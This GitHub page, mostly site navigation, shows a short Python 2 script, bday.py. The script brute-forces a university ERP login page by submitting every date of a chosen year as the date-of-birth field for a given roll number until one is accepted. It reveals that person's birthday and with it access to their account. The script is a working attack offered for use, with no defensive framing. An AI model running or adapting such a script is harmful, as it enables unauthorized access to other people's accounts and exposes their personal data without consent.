Skip to content
Navigation Menu
Sign in
Appearance settings
Platform
AI CODE CREATION
GitHub Copilot
Write better code with AI
GitHub Copilot app
Direct agents from issue to merge
MCP Registry
Integrate external tools
DEVELOPER WORKFLOWS
Actions
Automate any workflow
Codespaces
Instant dev environments
Issues
Plan and track work
Code Review
Manage code changes
Code Quality
Enforce quality at merge
APPLICATION SECURITY
GitHub Advanced Security
Find and fix vulnerabilities
Code security
Secure your code as you build
Secret protection
Stop leaks before they start
EXPLORE
Why GitHub
Documentation
Blog
Changelog
Marketplace
View all features
Solutions
BY COMPANY SIZE
Enterprises
Small and medium teams
Startups
Nonprofits
BY USE CASE
App Modernization
DevSecOps
DevOps
CI/CD
View all use cases
BY INDUSTRY
Healthcare
Financial services
Manufacturing
Government
See all industries
View all solutions
Resources
EXPLORE BY TOPIC
AI
Software Development
DevOps
Security
View all topics
EXPLORE BY TYPE
Customer stories
Events & webinars
Ebooks & reports
Business insights
GitHub Skills
SUPPORT & SERVICES
Documentation
Customer support
Community forum
Trust center
Partners
View all resources
Open Source
COMMUNITY
GitHub Sponsors
Fund open source developers
PROGRAMS
Security Lab
Maintainer Community
GitHub Stars
Archive Program
REPOSITORIES
Topics
Trending
Collections
Enterprise
ENTERPRISE SOLUTIONS
Enterprise platform
AI-powered developer platform
AVAILABLE ADD-ONS
GitHub Advanced Security
Enterprise-grade security features
Copilot for Business
Enterprise-grade AI features
Premium Support
Enterprise-grade 24/7 support
Pricing
Search
/
Sign in
Sign up
Appearance settings
You signed in with another tab or window.
Reload
to refresh your session.
You signed out in another tab or window.
Reload
to refresh your session.
You switched accounts on another tab or window.
Reload
to refresh your session.
Dismiss alert
{{ message }}
rohitner
ERP-BDAY
Repository navigation
Code
Issues
5
(5)
Pull requests
1
(1)
Actions
Projects
Security and quality
Insights
More
items
Files
Expand file tree
master
Breadcrumbs
ERP-BDAY
/
bday.py
Copy path
Blame
More file actions
Blame
More file actions
Latest commit
History
History
History
53 lines (40 loc) · 1.25 KB
master
Breadcrumbs
ERP-BDAY
/
bday.py
Copy path
Top
File metadata and controls
Code
Blame
53 lines (40 loc) · 1.25 KB
Raw
Copy raw file
Download raw file
Open symbols panel
Edit and raw actions
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import sys
from mechanize import Browser
from datetime import timedelta, date
def spinning_cursor():
while True:
for cursor in '|/-\\':
yield cursor
def daterange(start_date, end_date):
for n in range(int ((end_date - start_date).days)):
yield start_date + timedelta(n)
def get_bday(rollno, start_date, end_date):
spinner = spinning_cursor()
flag = 1
for single_date in daterange(start_date, end_date):
br = Browser()
br.open("https://erp.iitkgp.ac.in/StudentPerformanceV2/auth/login.htm")
br.select_form(name="loginform")
br.form.set_all_readonly(False)
br["rollno"] = rollno
br["dob"] = single_date.strftime("%d-%m-%Y")
response = br.submit()
if len(response.readlines())!=330:
flag = 0
print single_date.strftime("%d-%m-%Y")
break
br.close()
sys.stdout.write(next(spinner))
sys.stdout.flush()
sys.stdout.write('\b')
if flag:
print "Try another year."
def main():
rollno = raw_input("Enter the rollno of your best friend.: ")
year = input("Enter the possible birth year. : ")
start_date = date(year, 1, 1)
end_date = date(year, 12, 31)
sys.tracebacklimit = 0
get_bday(rollno, start_date, end_date)
if __name__ == '__main__':
main()
You can’t perform that action at this time.